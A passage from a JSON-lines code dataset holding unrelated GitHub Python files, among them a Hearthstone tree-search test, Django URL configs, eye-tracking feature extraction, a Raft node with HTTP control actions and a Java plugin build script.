TreeNode(nextstate)\n tempNode.move = move\n curNode.addChild(tempNode)\n if checkIfRunning(curNode.gamestate):\n curNode = selectChild(curNode)\n player, rounds = simGame(curNode.gamestate)\n v = 1 if player == (-1) * curNode.gamestate.ActivePlayer else 0 if player == curNode.gamestate.ActivePlayer else .5\n curNode.update(v)\n while curNode.hasParent():\n p = curNode.gamestate.ActivePlayer\n curNode = curNode.parent\n if curNode.gamestate.ActivePlayer != p:\n v = 1-v\n curNode.update(v)\n\n winner = selectfinalChild(root)\n # for child in root.children:\n # print(child.move)\n # print(child.v)\n\n return winner.move\n\nnames = \"\"\"Arcane Anomaly\nArgent Squire\nClockwork Gnome\nFlame Imp\"\"\"\nnames = names.splitlines()\nwhere = 1\nBoard = [[],[],[]]\nHand = [[],[],[]]\nDeck = [[],[],[]]\nfor name in names:\n where *= -1\n Hand[where].append(HSCard.HSCard(name))\nHearthgame = Gamestate.Gamestate(Board,Hand,Deck,[2,2,2])\n#for c in Hearthgame.Hand[2]:\n# print(c.Name)\nprint(Hearthgame.Board)\nfor i in Hearthgame.Hand:\n for card in i:\n print(card.Attack)\nfor k in range(20):\n\n print(Hearthgame.Board)\n print(Hearthgame.Hand)\n move = FindMove(Hearthgame, 1000)\n# print(move)\n simTurn(Hearthgame, move)","repo_name":"JEndler/hearthstoneAI","sub_path":"TestMCTree.py","file_name":"TestMCTree.py","file_ext":"py","file_size_in_byte":7041,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"} +{"seq_id":"32623953654","text":"# -----------------------------\n# |\n# github.com/nudimannui4e |\n# |\n# -----------------------------\nfrom random import randint\n\n\nclass Warrior:\n def __init__(self, name, health=100, def_point=30, stamina=50):\n self.name = name\n self.health = health\n self.def_point = def_point\n self.stamina = stamina\n self.role = 0\n\n def __str__(self):\n return f'{self.name}, {self.health} здоровья.'\n\n def defence(self):\n if self.def_point > 0:\n self.health -= randint(0, 20)\n self.def_point -= randint(0, 10)\n else:\n self.health -= randint(10, 30)\n\n def fight(self, other):\n if (self.role == 0) and (other.role == 0):\n return\n if (self.role == 0) and (other.role == 1):\n self.defence()\n return\n if (self.role == 1) and (other.role == 0):\n other.defence()\n return\n if (self.role == 1) and (other.role == 1):\n self.stamina -= randint(10, 30)\n self.health -= randint(10, 30)\n other.stamina -= randint(10, 30)\n other.health -= randint(10, 30)\n\n\nunits = [Warrior(\"Ассасин\"), Warrior(\"Тамплиер\")]\n\nwhile True:\n for unit in units:\n print(unit)\n if unit.health <= 10:\n print(f'\\nУмер {unit.name}')\n exit(0)\n unit.role = randint(0, 1) # attack =1, def = 0\n if unit.role == 1:\n print(f'\\n {unit.name} атакует')\n units[0].fight(units[1])","repo_name":"nudimannui4e/brunoyam_python","sub_path":"module5/homework/module5_lvl3.py","file_name":"module5_lvl3.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3080496123","text":"from __future__ import division\nimport numpy as np\nimport search\nnp.seterr(divide='ignore', invalid='ignore')\n\ndef bilinear(x,y,F,px,py):\n i = search.bin(x,px)\n j = search.bin(y,py)\n a1 = F[i][j]\n a2 = F[i + 1][j] - F[i][j]\n a3 = F[i][j + 1] - F[i][j]\n a4 = F[i][j] - F[i + 1][j] - F[i][j + 1] + F[i + 1][j + 1]\n p = a1 + a2 * (px - x[i]) + a3 * (py - y[j]) + a4 * (px - x[i]) * (py - y[j])\n return p\n","repo_name":"carlegroen/numericalmethods","sub_path":"exam/bilinearinterpolation.py","file_name":"bilinearinterpolation.py","file_ext":"py","file_size_in_byte":425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"25372308061","text":"\nfrom typing import Sequence\nfrom ...excepciones import NoHayArchivosConEsaRaiz, NoHayArchivosConEsaRaizAcabadosEnNumero\n\n\nclass AnalizadorNumerosArchivo:\n '''Analiza el directorio para obtener el mayor numero de documento sin nombre'''\n\n def obtener_mayor_numero_documento(self, raiz_archivo_sin_numero: str, nombres_en_directorio: Sequence[str]) -> int:\n '''\n Obtiene el numero del documento guardado de mayor numero\n (presumiblemente que fue guardado en ultimo lugar).\n Ejemplo:\n obtener_mayor_numero_documento('doc_num_', ['un_nombre.json', 'doc_num_001.json', 'doc_num_002.json', 'doc_num_007.json', 'otro_nombre.json'])\n Devuelve: 7\n\n '''\n nombres_documentos = [\n nombre for nombre in nombres_en_directorio\n if nombre.startswith(raiz_archivo_sin_numero)\n ]\n tamano_raiz = len(raiz_archivo_sin_numero)\n if len(nombres_documentos):\n numeros_de_documento = self._extraer_numeros_de_documento(tamano_raiz, nombres_documentos)\n if numeros_de_documento:\n maximo = max(numeros_de_documento)\n else:\n raise NoHayArchivosConEsaRaizAcabadosEnNumero(raiz_archivo_sin_numero)\n else:\n raise NoHayArchivosConEsaRaiz(raiz_archivo_sin_numero)\n assert maximo > 0\n return maximo\n\n\n @staticmethod\n def _extraer_numeros_de_documento(tamano_raiz: int, nombres: list[str]) -> list[int]:\n '''\n Recibe la lista de nombres y devuelve una lista de enteros\n ['documento_001', 'documento_002', 'documento_007', ...] => [1, 2, 7, ...]\n '''\n numeros_de_documento = []\n for nombre in nombres:\n nombre_sin_extension, extension = nombre.split('.')\n parte_que_no_es_raiz = nombre_sin_extension[tamano_raiz:]\n try:\n entero = int(parte_que_no_es_raiz)\n except ValueError:\n pass\n else:\n numeros_de_documento.append(entero)\n\n return numeros_de_documento\n","repo_name":"gulliver-madrid/pintaformas","sub_path":"src/pintaformas/core/persistencia/auxiliares/analizador_num_doc.py","file_name":"analizador_num_doc.py","file_ext":"py","file_size_in_byte":2088,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"24876081245","text":"\"\"\"tlucidity URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.9/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, patterns, include\nfrom django.contrib import admin\n\nfrom climats import views\nfrom entries import views, auth\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^chaining/', include('smart_selects.urls')),\n url(r'^$', views.index, name = 'index'),\n url(r'^entrylist/', views.ListEntryView, name = 'entry-list'),\n url(r'^makentry/', views.MakeEntryView.as_view(), name = 'make-entry'),\n url(r'^(?P\\d+)/$', views.EntryView.as_view(), name = 'entry-view'),\n url(r'^(\\d+)/$', views.EntryView.as_view(), name = 'entry-detail'),\n url(r'^edit/(?P\\d+)/$', views.UpdateEntryView.as_view(), name = 'entry-edit'),\n url(r'^delete/(?P\\d+)/$', views.DeleteEntryView.as_view(), name = 'delete-entry'),\n url(r'^editw/(?P\\d+)/$', views.SelectTkView.as_view(), name = 'set-w'),\n url(r'^editw/', views.SelectTkView.as_view(), name = 'set-w'),\n url(r'^dashboard/', views.OneTkEntryView, name = 'dashboard'),\n url(r'^setk/$', views.SeeTk, name = 'setk'),\n url(r'^releaselist/', views.ReleaseView, name = 'release-list'),\n url(r'^release/$', views.Release, name = 'release'),\n url(r'^released/$', views.Released, name = 'released'),\n url(r'^login/', auth.login, name = 'login'),\n url(r'^logout/', auth.logout, name = 'logout'),\n url(r'^register/', auth.register, name = 'register'),\n url('',include('climats.urls')),\n]\n","repo_name":"boblicitra/tlucidity","sub_path":"tlucidity/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"33549612163","text":"import click\n\nfrom ascmhl import commands\nfrom ascmhl.cli.update import Updater\n\nupdater = Updater()\n\n\nclass NaturalOrderGroup(click.Group):\n def list_commands(self, ctx):\n return self.commands.keys()\n\n\n@click.group(cls=NaturalOrderGroup)\n@click.version_option()\ndef mhltool_cli():\n pass\n\n\n@mhltool_cli.resultcallback()\ndef update(*args, **kwargs):\n updater.join(timeout=1)\n if updater.needs_update:\n click.secho(f\"Please update to the latest ascmhl version using `pip3 install -U ascmhl`.\", fg=\"blue\")\n\n\n# new\nmhltool_cli.add_command(commands.create)\nmhltool_cli.add_command(commands.diff)\nmhltool_cli.add_command(commands.flatten)\nmhltool_cli.add_command(commands.info)\n\n\nif __name__ == \"__main__\":\n mhltool_cli()\n","repo_name":"ascmitc/mhl","sub_path":"ascmhl/cli/ascmhl.py","file_name":"ascmhl.py","file_ext":"py","file_size_in_byte":745,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"82"} +{"seq_id":"46318125042","text":"## The main function is to preprocess the dataset from the Eye4TEmpathy paper,\r\n## in this paper we have eye-tracker data and by extracting the raw data using\r\n## this function your able to extract several important features per recording.\r\n\r\n## This function has two parameters\r\n## 1. path --> this path should contain all the recording, either test or control\r\n## 2. fname --> this is recommended to be given by a 'os.listdir' loop\r\n\r\n## The output of this is a dataframe of size (n_recording, n_features)\r\n\r\n# The libraries needed are:\r\nimport pandas as pd\r\nimport numpy as np\r\nimport os\r\n\r\n\r\n# ---------------------------------------------------------------------------\r\ndef get_avg_sacc_speed(df, group):\r\n '''\r\n Return average saccade speed\r\n '''\r\n temp = df[df['Recording name'] == group]\r\n diff = temp['Saccade'].diff().values\r\n # changes from 0-1 (i.e., diff = 1) mean start of saccade; changes from 1->0 (i.e. diff = -1) mean end of saccade\r\n start_idx = np.where(diff == 1)[0]\r\n end_idx = np.where(diff == -1)[0]\r\n i = 0\r\n while start_idx[0] > end_idx[i]:\r\n # print(i, start_idx[0], end_idx[i])\r\n i += 1\r\n end_idx = end_idx[i:]\r\n speeds = []\r\n for start, end in zip(start_idx, end_idx):\r\n assert end > start\r\n speeds.append(np.nanmean(temp['Speed'].iloc[start:end+1].values)) # average speed/saccade\r\n return len(speeds), np.nanmean(np.asarray(speeds)) # number of saccades and average speed across saccades\r\n\r\n\r\ndef get_avg_fix_duration(df, group, srate=120):\r\n '''\r\n Return average fixation duration\r\n param df: Dataframe with original recording\r\n param group: name of recording session\r\n param srate: sampling rate of data (default in dataset is 120 Hz)\r\n '''\r\n temp = df[df['Recording name'] == group]\r\n diff = temp['Fixation'].diff().values\r\n # changes from 0-1 (i.e., diff = 1) indicate start of fixation; changes from 1->0 (i.e. diff = -1) indicate end of fixation\r\n start_idx = np.where(diff == 1)[0]\r\n end_idx = np.where(diff == -1)[0]\r\n i = 0\r\n while start_idx[0] > end_idx[i]:\r\n # print(i, start_idx[0], end_idx[i])\r\n i += 1\r\n end_idx = end_idx[i:]\r\n durations = []\r\n for start, end in zip(start_idx, end_idx):\r\n assert end > start\r\n durations.append((end-start+1)/srate) # duration of fixation (number of rows/sampling rate)\r\n return len(durations), np.asarray(durations).mean() # number of fixations and average duration across fixations\r\n\r\n\r\ndef get_unclassified_count(df, group, srate=120):\r\n temp = df[df['Recording name'] == group]\r\n diff = temp['Unclassified'].diff().values\r\n # changes from 0-1 (i.e., diff = 1) indicate start of unclassified; changes from 1->0 (i.e. diff = -1) indicate end of unclassified\r\n start_idx = np.where(diff == 1)[0]\r\n end_idx = np.where(diff == -1)[0]\r\n i = 0\r\n while start_idx[0] > end_idx[i]:\r\n # print(i, start_idx[0], end_idx[i])\r\n i += 1\r\n end_idx = end_idx[i:]\r\n durations = []\r\n for start, end in zip(start_idx, end_idx):\r\n assert end > start\r\n durations.append((end - start + 1) / srate) # duration of fixation (number of rows/sampling rate)\r\n return len(durations), np.asarray(durations).mean() # number of fixations and average duration across fixations\r\n\r\n# ---------------------------------------------------------------------------\r\ndef preprocess(path, fname):\r\n # ------------------------------------------\r\n # READING FILE\r\n # ------------------------------------------\r\n # Read the .tsv file that contains the raw data of the participant\r\n df_table = pd.read_table(path + fname, sep='\\t', low_memory=False)\r\n \r\n # Remove calibration points in recording\r\n startPoints = df_table[df_table['Event'] == 'ImageStimulusStart'].index.values.astype(int)\r\n endPoints = df_table[df_table['Event'] == 'ImageStimulusEnd'].index.values.astype(int)\r\n \r\n # Store only image stimulus\r\n df = pd.DataFrame()\r\n\r\n for i in range(len(startPoints)):\r\n start = startPoints[i]\r\n end = endPoints[i]\r\n trial = df_table.iloc[start:end+1]\r\n df = pd.concat([df, trial])\r\n\r\n # Select correctly the participant in loop\r\n partiName = int(fname[13:-4])\r\n print('Participant #', partiName)\r\n\r\n # Features we are keeping\r\n df_col = ['Recording timestamp', 'Participant name', 'Recording name', 'Recording duration',\r\n 'Pupil diameter left', 'Pupil diameter right', 'Gaze point X (MCSnorm)', 'Gaze point Y (MCSnorm)',\r\n 'Eye movement type', 'Gaze event duration', 'Fixation point X (MCSnorm)', 'Fixation point Y (MCSnorm)']\r\n \r\n # Remove unnecessary columns\r\n df_features = df[df_col]\r\n\r\n # ------------------------------------------\r\n # Feature processing and correction\r\n # ------------------------------------------\r\n # Change Recording name to integer\r\n record_name = df_features['Recording name'].unique()\r\n for i in range(len(record_name)):\r\n df_features = df_features.replace(record_name[i], i)\r\n\r\n # Change Participant name to integer\r\n prev = df_features['Participant name'].unique().tolist()\r\n part_name = int(df_features['Participant name'].unique().tolist()[-1][13:15])\r\n\r\n # Check that we're saving the right participant name (one is from the filename, the other is from the file\r\n assert part_name == partiName, \"Participant numbers don't match! %d != %d\" % (partiName, part_name)\r\n df_features['Participant name'] = df_features['Participant name'].replace(prev, part_name)\r\n\r\n # # Label encoder for feature --> 'Eye movement type'\r\n df_features['Eye movement type'] = df_features['Eye movement type'].replace((\"EyesNotFound\", np.nan), \"Unclassified\")\r\n\r\n # Columns that need to be changed from object to float\r\n objColumns = ['Pupil diameter left', 'Pupil diameter right', 'Gaze point X (MCSnorm)',\r\n 'Gaze point Y (MCSnorm)', 'Fixation point X (MCSnorm)', 'Fixation point Y (MCSnorm)']\r\n \r\n # Change (commas) to (decimals) and convert object to float64\r\n for feature in objColumns:\r\n df_features[feature] = df_features[feature].str.replace(',', '.').astype(float)\r\n\r\n # Create distance and time columns for SPEED and ACC\r\n #df_features['Time'] = pd.to_timedelta(df_features['Recording timestamp'], unit='us')\r\n df_features['Time'] = pd.to_datetime(df_features['Recording timestamp']).astype(np.int64) / int(1e6) # seconds\r\n df_features['Delta Time'] = df_features['Time'].diff()\r\n df_features['Position'] = np.sqrt(df_features['Gaze point X (MCSnorm)']**2 + df_features['Gaze point Y (MCSnorm)']**2)\r\n df_features['Speed'] = df_features['Position'].diff() / df_features['Delta Time']\r\n df_features['Acceleration'] = df_features['Speed'].diff() / df_features['Delta Time']\r\n\r\n # Create Average Fixation Speed Feature\r\n df_features['Fixation'] = [1 if i == 'Fixation' else 0 for i in df_features['Eye movement type'].values]\r\n df_features['Saccade'] = [1 if i == 'Saccade' else 0 for i in df_features['Eye movement type'].values]\r\n df_features['Unclassified'] = [1 if i == 'Unclassified' else 0 for i in df_features['Eye movement type'].values]\r\n\r\n # ------------------------------------------------\r\n # Group by recording and extracting new features\r\n # -----------------------------------------------\r\n grouped_data = df_features.groupby('Recording name')\r\n df_recordings = pd.DataFrame()\r\n\r\n for name, group in grouped_data:\r\n # Creation of features from big dataset\r\n recDur = group['Recording duration'].unique().tolist()[0]\r\n gazeAvg = group['Gaze event duration'].mean()\r\n\r\n num_fixations, avg_fix_duration = get_avg_fix_duration(df_features, name, srate=120)\r\n num_saccades, avg_sacc_speed = get_avg_sacc_speed(df_features, name)\r\n\r\n num_unclassified, avg_unclassified_duration = get_unclassified_count(df_features, name, srate=120)\r\n\r\n # Dictionary with features extracted\r\n feature_dict = {'Recording name' : name,\r\n 'Participant name' : partiName,\r\n 'Mean Pupil diameter left' : group['Pupil diameter left'].mean(),\r\n 'Std Pupil diameter left' : group['Pupil diameter left'].std(),\r\n 'Min Pupil diamater left' : group['Pupil diameter left'].min(),\r\n 'Max Pupil diamater left' : group['Pupil diameter left'].max(),\r\n 'Mean Pupil diameter right': group['Pupil diameter right'].mean(),\r\n 'Std Pupil diameter right' : group['Pupil diameter right'].std(),\r\n 'Min Pupil diamater right' : group['Pupil diameter right'].min(),\r\n 'Max Pupil diamater right' : group['Pupil diameter right'].max(),\r\n 'Num. of Fixations' : num_fixations,\r\n 'Num. of Saccades' : num_saccades,\r\n 'Num. of Unclassified' : num_unclassified,\r\n 'Recording duration (s)' : (recDur/1000),\r\n 'Mean Gaze event duration (s)': (gazeAvg/1000),\r\n 'Mean Fixation point X' : group['Fixation point X (MCSnorm)'].mean(),\r\n 'Std Fixation point X' : group['Fixation point X (MCSnorm)'].std(),\r\n 'Mean Fixation point Y' : group['Fixation point Y (MCSnorm)'].mean(),\r\n 'Std Fixation point Y' : group['Fixation point Y (MCSnorm)'].std(),\r\n 'Mean Gaze point X' : group['Gaze point X (MCSnorm)'].mean(),\r\n 'Std Gaze point X' : group['Gaze point X (MCSnorm)'].std(),\r\n 'Mean Gaze point Y' : group['Gaze point Y (MCSnorm)'].mean(),\r\n 'Std Gaze point Y' : group['Gaze point Y (MCSnorm)'].std(),\r\n 'Speed' : group['Speed'].mean(),\r\n 'Acceleration' : group['Acceleration'].mean(),\r\n 'Avg Saccade Speed' : avg_sacc_speed,\r\n 'Avg Fix Duration' : avg_fix_duration,\r\n 'Avg Unclassif Duration' : avg_unclassified_duration,\r\n 'Empathy Score' : 0\r\n }\r\n\r\n\r\n # Append the features for this recording name to the feature dataframe\r\n df_recordings = df_recordings.append(feature_dict, ignore_index=True)\r\n\r\n # Set the recording name as the index\r\n df_recordings.set_index('Recording name', inplace=True)\r\n\r\n # If rows cointain nan values, we drop them because it means the recording was unsuccessful.\r\n # df_recordings = df_recordings.dropna(axis=0) \r\n\r\n return df_recordings\r\n#---------------------------------------------------------------------------------------------------\r\n## Function that becomes helpful for the appending of the target in the df\r\n## Transforms a list of list into a single list, the parameter is the list of lists\r\ndef flatten(l):\r\n return [item for sublist in l for item in sublist]\r\n\r\n# ------------------------------------------------------------------------\r\n# This function automatizes the selection of the participant group\r\ndef select_group(grp):\r\n if grp == 'test':\r\n path = 'C:\\\\Users\\\\mverd\\\\Desktop\\\\IMD\\\\ESSEX\\\\TERM2\\\\Modules\\\\Data Science and Decision Making\\\\Assignment2_Final\\\\rawdata\\\\test\\\\'\r\n groupSelect = 1\r\n elif grp == 'control':\r\n path = 'C:\\\\Users\\\\mverd\\\\Desktop\\\\IMD\\\\ESSEX\\\\TERM2\\\\Modules\\\\Data Science and Decision Making\\\\Assignment2_Final\\\\rawdata\\\\control\\\\'\r\n groupSelect = 2\r\n return path, groupSelect\r\n\r\n#---------------------------------------------------------------------------------\r\n## This function reads both of the questionnaries and creates the label for the \r\n## model to predict \r\n\r\n## The parameters are the path we the questionaries are store, and the current \r\n## group selected (test or control)\r\ndef label(pathQ, groupSelect):\r\n # Read first and second questionnarie\r\n quest1 = pd.read_csv(pathQ + os.listdir(pathQ)[0], encoding= 'unicode_escape', low_memory=False)\r\n # quest2 = pd.read_csv(pathQ + os.listdir(pathQ)[1], encoding= 'unicode_escape', low_memory=False)\r\n\r\n # Extract labels to predict (Original Score, before experiment)\r\n score = quest1.iloc[:,-2]\r\n\r\n # Need to store the correct indexes (odd or even)\r\n if groupSelect == 1:\r\n list_par = list(range(0,59,2))\r\n elif groupSelect == 2:\r\n list_par = list(range(1,60,2))\r\n\r\n # Assign only the desired values\r\n label = score[list_par]\r\n\r\n # Drop index so that we always have from 0-->29 \r\n label = label.reset_index(drop=True)\r\n\r\n return label","repo_name":"mv22003/PredictingEmpathy","sub_path":"feature_extraction.py","file_name":"feature_extraction.py","file_ext":"py","file_size_in_byte":12962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"12083431163","text":"from django.contrib import admin\nfrom django.urls import path\nfrom todo import views\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('form/',views.todo_create,name=\"todo-form\"),\n path('',views.home,name=\"home\"),\n path('update_form//',views.update_todo,name=\"up_form\"),\n path('detail_form//',views.detail_todo,name=\"det_form\"),\n path('delete_form//',views.delete_todo,name=\"dele_form\")\n]\n","repo_name":"Ridowan-sajid/To-Do-Django","sub_path":"TodoList/TodoList/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"32682574055","text":"import os\nimport json\nimport crypto\n\nfrom time import sleep\nfrom helper import Helper\nfrom network import ManufacturerNode, Network\nfrom tcp_logger import Tcp_Logger\nfrom file_logger import File_Logger\nfrom raft import Raft\nfrom http_server import HttpServer\n\nclass Node:\n\n def __init__(self, internal_ip, external_ip, network : Network, force_leader = False):\n self.node : ManufacturerNode = network.get_manufacturer_node_info(internal_ip, external_ip)\n self.tcp_logger = Tcp_Logger(self.node.name)\n\n if self.node.name == 'F7':\n force_leader = True\n \n self.raft = Raft(self.node.name, network, self.node.tcp_port, self.tcp_logger, force_leader)\n self.http_sever = HttpServer(self.node.http_port, self.on_http_server_receive)\n\n start_msg = '[INITIALIZED] - ' + self.node.get_str_info()\n self.tcp_logger.save(start_msg)\n \n def kill(self):\n self.tcp_logger.save(\"[KILL]\")\n\n pid = str(os.getpid())\n cmd = \"kill \" + pid\n\n os.system(cmd)\n\n def reset(self, time):\n self.tcp_logger.save(\"[RESET]\")\n\n pid = str(os.getpid())\n cmd = \"kill \" + pid\n cmd += \"; sleep \" + time + \";\"\n cmd += \"python3 node.py\"\n \n os.system(cmd)\n\n def suspend(self, time):\n self.tcp_logger.save(\"[SUSPEND]\")\n\n self.raft.suspend()\n sleep(int(time))\n self.raft.resume()\n\n def start(self):\n self.raft.start()\n\n # TODO: implement unidirectional failures\n def add_author(self, author_data_json, answer):\n\n self.tcp_logger(\"[ADD_AUTHOR]\")\n\n author_data = json.loads(author_data_json)\n (sk, pk) = crypto.ecdsa_gen_pair_keys()\n\n answer['private_key'] = sk\n author_data['public_key'] = pk\n\n return self.raft.publish('add_author', author_data)\n\n def on_http_server_receive(self, keys, values):\n\n answer = {}\n status = True\n if keys[0] == \"action\":\n if values[0] == \"start\":\n self.start()\n elif values[0] == \"kill\":\n self.kill()\n elif values[0] == \"reset\":\n time = values[1]\n self.reset(time)\n elif values[0] == \"suspend\":\n time = values[1]\n self.suspend(time)\n elif values[0] == \"add_author\":\n author_data_json = values[1]\n (status, msg) = self.add_author(author_data_json, answer)\n else:\n status = False\n msg = 'action not recognitzed.'\n\n if status:\n answer['status'] = \"success\"\n else:\n answer = {} # clean answer\n answer['status'] = \"error\"\n answer['msg'] = msg\n\n return json.dumps(answer)\n\nif __name__ == \"__main__\":\n while(True):\n try:\n internal_ip = Helper.get_internal_ip()\n external_ip = Helper.get_external_ip()\n break\n except:\n sleep(1)\n \n network = Network('network_info.csv')\n Node(internal_ip, external_ip, network, force_leader = False)\n ","repo_name":"CleberPeter/SOTARU","sub_path":"node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"19093907331","text":"IMPOSSIBLE = -1\nNOT_SET = 0\nVERY_EASY = 1\nEASY = 2\nMEDIUM = 3\nHARD = 4\nVERY_HARD = 5\nINSANE = 6\n\nVALID_TIERS = [IMPOSSIBLE, NOT_SET, VERY_EASY, EASY, MEDIUM, HARD, VERY_HARD,\n INSANE]\n","repo_name":"jsza/jump-map-list","sub_path":"jumpmaplist/constants/tiers.py","file_name":"tiers.py","file_ext":"py","file_size_in_byte":198,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6528718354","text":"from rest_framework import serializers\n\n# django models\nfrom orders.models import OrderDetail\nfrom items.models import AdminCategory\n\n# apps serializers imports\nfrom items.serializers import CategoryTypeSerializer\n\n\nclass OrderDetailOperationSerializer(serializers.ModelSerializer):\n class Meta:\n model = OrderDetail\n fields = (\"\",)\n\n\nclass OrderDetailForCODSerializer(serializers.ModelSerializer):\n order_id = serializers.PrimaryKeyRelatedField(\n queryset=OrderDetail.objects.filter(payment_method=\"COD\")\n )\n\n class Meta:\n model = OrderDetail\n fields = (\"order_id\",)\n\n def validate(self, data):\n order_detail_instance = data.get(\"order_id\")\n if not (\n order_detail_instance.order.dispatched\n and order_detail_instance.order.delivered\n ):\n raise serializers.ValidationError(\n \"Order Must Be Dispatched And Delivered Before Paid\"\n )\n if order_detail_instance.order.paid:\n raise serializers.ValidationError(\"Order Is Already Paid\")\n return data\n\n\nclass AdminCategorySerializer(serializers.ModelSerializer):\n category_types = CategoryTypeSerializer(many=True)\n\n class Meta:\n model = AdminCategory\n fields = (\"id\", \"image\", \"name\", \"category_types\", \"is_banner\")\n","repo_name":"Abhishek-Gawade-programmer/farmer-bazaar-api","sub_path":"administrations/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":1334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10337847041","text":"from zipfile import ZipFile, ZIP_DEFLATED\r\nfrom os import remove, walk, rename\r\nfrom subprocess import call\r\nfrom shutil import rmtree\r\n\r\ndef zipdir(path: str, zipFile: ZipFile):\r\n for root, _, files in walk(path):\r\n for file in files:\r\n zipFile.write(root + '/' + file)\r\n\r\nprint('Creating jar file')\r\ncall('javac -d compile --module-path ../bin -proc:none src/editor/*.java src/editor/gui/*.java src/module-info.java')\r\ncall('jar cfm Plugin.jar META-INF/MANIFEST.MF -C compile editor -C . META-INF -C compile module-info.class')\r\n\r\nrename('../worldsrcs', 'worldsrcs')\r\n\r\nprint('Creating zip file')\r\nwith ZipFile('WorldEditor.zip', 'w', ZIP_DEFLATED) as output:\r\n output.write('Plugin.jar')\r\n zipdir('worldsrcs', output)\r\n\r\nrmtree('compile')\r\nrename('worldsrcs', '../worldsrcs')\r\nremove('Plugin.jar')\r\n\r\nprint('Done')","repo_name":"Degubi/Frutty","sub_path":"WorldEditorPlugin/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"21370769144","text":"\n\nfrom epopt import expression_util\nfrom epopt.compiler import validate\nfrom epopt.proto.epsilon.expression_pb2 import Expression, Cone, LinearMap, ProxFunction\n\nNAMES = {\n Expression.VARIABLE: \"xyzwvutsrq\",\n Expression.CONSTANT: \"abcdkeflmn\",\n}\n\nclass NameMap(object):\n def __init__(self):\n self.name_map = {}\n self.count = {\n Expression.VARIABLE: 0,\n Expression.CONSTANT: 0,\n }\n\n def constant_name(self, constant):\n assert constant.data_location or constant.parameter_id\n return self.name(\n constant.data_location if constant.data_location else\n constant.parameter_id,\n Expression.CONSTANT,\n constant.n != 1)\n\n def variable_name(self, var_expr):\n assert var_expr.variable.variable_id\n return self.name(\n var_expr.variable.variable_id,\n Expression.VARIABLE,\n var_expr.size.dim[1] != 1)\n\n def name(self, name_id, name_type, is_matrix):\n if name_id in self.name_map:\n return self.name_map[name_id]\n\n name = NAMES[name_type][self.count[name_type] % len(NAMES[name_type])]\n if is_matrix:\n name = name.upper()\n\n self.name_map[name_id] = name\n self.count[name_type] += 1\n return name\n\ndef function_name(proto):\n if proto.expression_type == Expression.INDICATOR:\n return Cone.Type.Name(proto.cone.cone_type).lower()\n elif proto.expression_type == Expression.PROX_FUNCTION:\n return ProxFunction.Type.Name(\n proto.prox_function.prox_function_type).lower()\n return Expression.Type.Name(proto.expression_type).lower()\n\ndef format_params(proto):\n retval = []\n if proto.expression_type == Expression.INDEX:\n for key in proto.key:\n retval += [\"%d:%d\" % (key.start, key.stop)]\n elif proto.expression_type in (Expression.POWER, Expression.NORM_P):\n retval += [str(proto.p)]\n elif proto.expression_type == Expression.SUM_LARGEST:\n retval += [str(proto.k)]\n elif proto.expression_type == Expression.SCALED_ZONE:\n retval += [\"alpha=%.2f\" % proto.scaled_zone_params.alpha,\n \"beta=%.2f\" % proto.scaled_zone_params.beta,\n \"C=%.2f\" % proto.scaled_zone_params.c,\n \"M=%.2f\" % proto.scaled_zone_params.m]\n\n if retval:\n return \"[\" + \", \".join(retval) + \"]\"\n else:\n return \"\"\n\ndef linear_map_name(linear_map, name_map):\n if linear_map.linear_map_type == LinearMap.DENSE_MATRIX:\n return \"dense(\" + name_map.constant_name(linear_map.constant) + \")\"\n elif linear_map.linear_map_type == LinearMap.SPARSE_MATRIX:\n return \"sparse(\" + name_map.constant_name(linear_map.constant) + \")\"\n elif linear_map.linear_map_type == LinearMap.DIAGONAL_MATRIX:\n return \"diag(\" + name_map.constant_name(linear_map.constant) + \")\"\n elif linear_map.linear_map_type == LinearMap.SCALAR:\n return \"scalar(%.2f)\" % linear_map.scalar\n elif linear_map.linear_map_type == LinearMap.KRONECKER_PRODUCT:\n assert len(linear_map.arg) == 2\n return \"kron(\" + \", \".join(linear_map_name(arg, name_map)\n for arg in linear_map.arg) + \")\"\n elif linear_map.linear_map_type == LinearMap.TRANSPOSE:\n assert len(linear_map.arg) == 1\n return \"transpose(\" + linear_map_name(linear_map.arg[0], name_map) + \")\"\n\n raise ValueError(\"unknown linear map type: %d\" % linear_map.linear_map_type)\n\ndef format_linear_map(expr, name_map):\n assert len(expr.arg) == 1\n return (linear_map_name(expr.linear_map, name_map) + \"*\" +\n format_expr(expr.arg[0], name_map))\n\ndef format_expr(expr, name_map):\n if 